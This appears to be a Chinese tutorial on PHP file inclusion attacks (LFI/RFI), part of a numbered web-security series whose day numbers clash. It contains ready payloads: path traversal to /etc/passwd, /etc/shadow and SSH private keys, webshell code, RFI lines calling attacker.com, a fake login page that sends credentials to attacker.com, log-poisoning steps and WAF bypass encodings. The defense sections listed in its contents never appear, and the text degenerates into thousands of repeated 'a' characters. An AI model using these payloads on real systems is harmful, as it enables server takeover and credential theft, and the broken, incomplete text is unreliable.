Day-044-文件包含漏洞 LFI-RFI

# Day 42: 文件包含漏洞（LFI/RFI）

> Web 安全系列第 12 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [文件包含漏洞概述](#文件包含漏洞概述)
2. [LFI 本地文件包含](#lfi 本地文件包含)
3. [RFI 远程文件包含](#rfi 远程文件包含)
4. [路径遍历技术](#路径遍历技术)
5. [PHP 伪协议利用](#php 伪协议利用)
6. [日志文件包含](#日志文件包含)
7. [检测与利用流程](#检测与利用流程)
8. [Bypass 技术](#bypass 技术)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 文件包含漏洞概述

### 什么是文件包含漏洞

文件包含漏洞（File Inclusion Vulnerability）是指 Web 应用动态包含文件时，未正确验证用户输入，导致攻击者可以包含任意文件（本地或远程）的漏洞。

**形象理解**：
如果把网站比作一个图书馆，那么：
- **正常包含** = 图书管理员按书单取书
- **文件包含漏洞** = 攻击者伪造书单，让管理员取禁书
- **管理员** = include/require 函数
- **后果** = 禁书内容被展示（敏感信息泄露）或执行（代码执行）

**漏洞分类**：
```
1. LFI（Local File Inclusion，本地文件包含）
   - 包含服务器本地文件
   - 读取敏感文件
   - 配合其他技术执行代码

2. RFI（Remote File Inclusion，远程文件包含）
   - 包含远程服务器文件
   - 直接执行恶意代码
   - 危害更大
```

**危害**：
```
1. 信息泄露
   - 读取配置文件
   - 读取源代码
   - 读取用户数据

2. 代码执行
   - 包含日志文件
   - 包含上传文件
   - 包含伪协议

3. 服务器沦陷
   - 执行系统命令
   - 写入 Webshell
   - 完全控制
```

**真实案例**：
```
案例 1: 某 CMS 系统（2018）
- 漏洞：LFI
- 影响：数万网站沦陷
- 手法：参数未过滤
- 后果：服务器完全控制

案例 2: 某电商平台（2019）
- 漏洞：RFI
- 影响：用户数据泄露
- 手法：远程包含恶意文件
- 后果：大规模数据泄露
```

---

## LFI 本地文件包含

### 漏洞原理

**PHP include 函数**：
```php
<?php
// 正常用法
include 'header.php';
include 'footer.php';

// 危险用法（用户输入）
$page = $_GET['page'];
include $page;  // 危险！

// 攻击者输入
?page=../../etc/passwd
?>
```

**漏洞代码示例**：
```php
<?php
// - 错误做法
$file = $_GET['file'];
include $file;

// + 正确做法
$allowed_files = ['home', 'about', 'contact'];
$file = $_GET['file'];

if (in_array($file, $allowed_files)) {
    include "$file.php";
} else {
    include 'home.php';
}
?>
```

### 常见利用场景

**读取系统文件**：
```
/etc/passwd        → 用户列表
/etc/shadow        → 密码哈希（需要 root）
/proc/version      → 系统版本
/proc/self/environ → 环境变量
```

**读取 Web 配置**：
```
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/configuration.php
```

**读取日志文件**：
```
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
```

### 路径遍历

**基础遍历**：
```
?page=../../etc/passwd
?page=../../../etc/passwd
?page=../../../../etc/passwd
```

**编码绕过**：
```
URL 编码：
%2e%2e%2f  → ../
%2e%2e/    → ../
..%2f      → ../

双重编码：
%252e%252e%252f → ../

Unicode 编码：
\u002e\u002e\u002f → ../
```

**特殊字符**：
```
?page=....//....//etc/passwd
?page=..\\..\\etc/passwd
?page=..%c0%af..%c0%afetc/passwd
```

---

## RFI 远程文件包含

### 漏洞原理

**RFI 条件**：
```
1. allow_url_include = On
   PHP 配置允许远程包含

2. allow_url_fopen = On
   PHP 配置允许远程打开

3. 用户输入未过滤
   直接用于 include
```

**漏洞代码**：
```php
<?php
// allow_url_include = On
$file = $_GET['file'];
include $file;

// 攻击者输入
?file=http://attacker.com/shell.php
?>
```

### RFI 利用

**直接代码执行**：
```php
// 攻击者服务器上的 shell.php
<?php system($_GET['c']); ?>

// 受害者包含
?file=http://attacker.com/shell.php&c=whoami
```

**钓鱼攻击**：
```php
// 攻击者服务器上的 fake_login.php
<?php
if ($_POST['username'] && $_POST['password']) {
    file_get_contents("http://attacker.com/steal?u=".$_POST['username']."&p=".$_POST['password']);
    header("Location: http://victim.com/login.php");
}
?>

// 受害者包含
?file=http://attacker.com/fake_login.php
```

### 检测 RFI

**配置检查**：
```php
<?php
// 检查 PHP 配置
phpinfo();

// 查找
allow_url_include
allow_url_fopen
?>
```

**测试 Payload**：
```
?file=http://attacker.com/test.txt
→ 如果显示 test.txt 内容，存在 RFI

?file=https://attacker.com/shell.php
→ 如果执行 shell.php，存在 RFI
```

---

## PHP 伪协议利用

### php://filter

**什么是 php://filter**：
```
php://filter 是 PHP 的流包装器，
允许在文件读取时应用过滤器。

可用于：
- 编码转换
- 压缩/解压
- 字符串转换
```

**读取文件**：
```php
// 基础用法
?page=php://filter/convert.base64-encode/resource=config.php

// 响应（Base64 编码）
PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg==

// 解码后
<?php
echo "Hello World";
?>
```

**其他过滤器**：
```
php://filter/string.toupper/resource=file
php://filter/string.lower/resource=file
php://filter/zlib.deflate/resource=file
php://filter/bzip2.compress/resource=file
```

### php://input

**什么是 php://input**：
```
php://input 允许读取原始 POST 数据。

可用于：
- 读取 POST 数据
- 配合文件包含
- 执行代码
```

**利用方式**：
```php
// 包含 php://input
?page=php://input

// POST 数据
<?php system($_GET['c']); ?>

// 访问
?page=php://input&c=whoami
```

### data://伪协议

**什么是 data://**：
```
data://协议允许在 URL 中包含数据。

格式：
data://[<mediatype>][;base64],<data>
```

**利用方式**：
```php
// 包含 data://
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==

// 解码后
<?php system($_GET['c']); ?>

// 访问
?page=data://text/plain;base64,...&c=whoami
```

### zip://伪协议

**什么是 zip://**：
```
zip://协议允许访问 ZIP 文件内部。

格式：
zip://archive.zip#path/to/file
```

**利用方式**：
```php
// 上传 ZIP 文件
// ZIP 内包含 shell.php

// 包含 ZIP 内文件
?page=zip://uploads/archive.zip#shell.php

// 执行代码
?page=zip://uploads/archive.zip#shell.php&c=whoami
```

---

## 日志文件包含

### Apache 日志

**日志位置**：
```
/var/log/apache/access.log
/var/log/apache/error.log
```

**利用方式**：
```
1. 在 User-Agent 中包含 Payload
   User-Agent: <?php system($_GET['c']); ?>

2. 访问网站，Payload 被记录到日志

3. 包含日志文件
   ?page=/var/log/apache/access.log

4. 执行命令
   ?page=/var/log/apache/access.log&c=whoami
```

### Nginx 日志

**日志位置**：
```
/var/log/nginx/access.log
/var/log/nginx/error.log
```

**利用方式**：
```
// 在请求中包含 Payload
GET /<?php system($_GET['c']); ?> HTTP/1.1

// 包含日志
?page=/var/log/nginx/access.log&c=whoami
```

### SSH 日志

**日志位置**：
```
/var/log/auth.log
/root/.ssh/authorized_keys
```

**利用方式**：
```
1. SSH 登录失败，用户名包含 Payload
   ssh '<?php system($_GET['c']); ?>'@target

2. 包含认证日志
   ?page=/var/log/auth.log&c=whoami
```

---

## 检测与利用流程

### 手工检测

**步骤 1: 寻找包含点**：
```
□ 文件管理
□ 模板加载
□ 语言切换
□ 页面导航
□ 文档查看
```

**步骤 2: 测试基础 Payload**：
```
?page=../../etc/passwd
?page=....//....//etc/passwd
?page=/etc/passwd
```

**步骤 3: 观察响应**：
```
- 文件内容 → 确认 LFI
- 错误信息 → 可能 LFI
- 代码执行 → 确认 RFI
- 无变化 → 可能无漏洞
```

**步骤 4: 尝试伪协议**：
```
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://input
?page=data://text/plain,<?php system('whoami');?>
```

### 自动化工具

**Fimap**：
```bash
# 安装
git clone https://github.com/kurobeats/fimap

# 检测
python fimap.py -u "http://target.com/page.php?file=test"

# 利用
python fimap.py -u "http://target.com/page.php?file=test" --auto
```

**LFISuite**：
```bash
# 安装
git clone https://github.com/D35m0nd142/LFISuite

# 使用
python LFISuite.py --auto http://target.com/page.php?file=
```

### 利用流程

**信息收集**：
```
# 系统信息
?page=/etc/os-release
?page=/proc/version

# 用户信息
?page=/etc/passwd

# 网络信息
?page=/etc/hosts
```

**权限提升**：
```
# SSH 密钥
?page=/root/.ssh/id_rsa

# 配置文件
?page=/var/www/html/config.php

# 日志文件
?page=/var/log/auth.log
```

**代码执行**：
```
# 日志包含
?page=/var/log/apache/access.log
# 在 User-Agent 中包含 Payload

# 伪协议
?page=php://filter/convert.base64-encode/resource=config.php

# 远程包含
?page=http://attacker.com/shell.php
```

---

## Bypass 技术

### WAF 绕过

**编码绕过**：
```
URL 编码：
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd

双重编码：
?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd

Unicode 编码：
?page=\u002e\u002e\u002f\u002e\u002e\u002fetc\u002fpasswd
```

**特殊字符**：
```
?page=....//....//etc/passwd
?page=..\\..\\etc/passwd
?page=..%c0%af..%c0%afetc/passwd
?page=..%252f..%252fetc/passwd
```

**路径混淆**：
```
?page=/var/www/html/../../etc/passwd
?page=/var/www/../../etc/passwd
?page=/var/../../etc/passwd
?page=/../../../etc/passwd
```

### 过滤器绕过

**null 字节**：
```
PHP 5.3.4 之前

?page=../../etc/passwd%00.php
?page=../../etc/passwd%00
```

**路径长度**：
```
Windows 系统

?page=C:\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa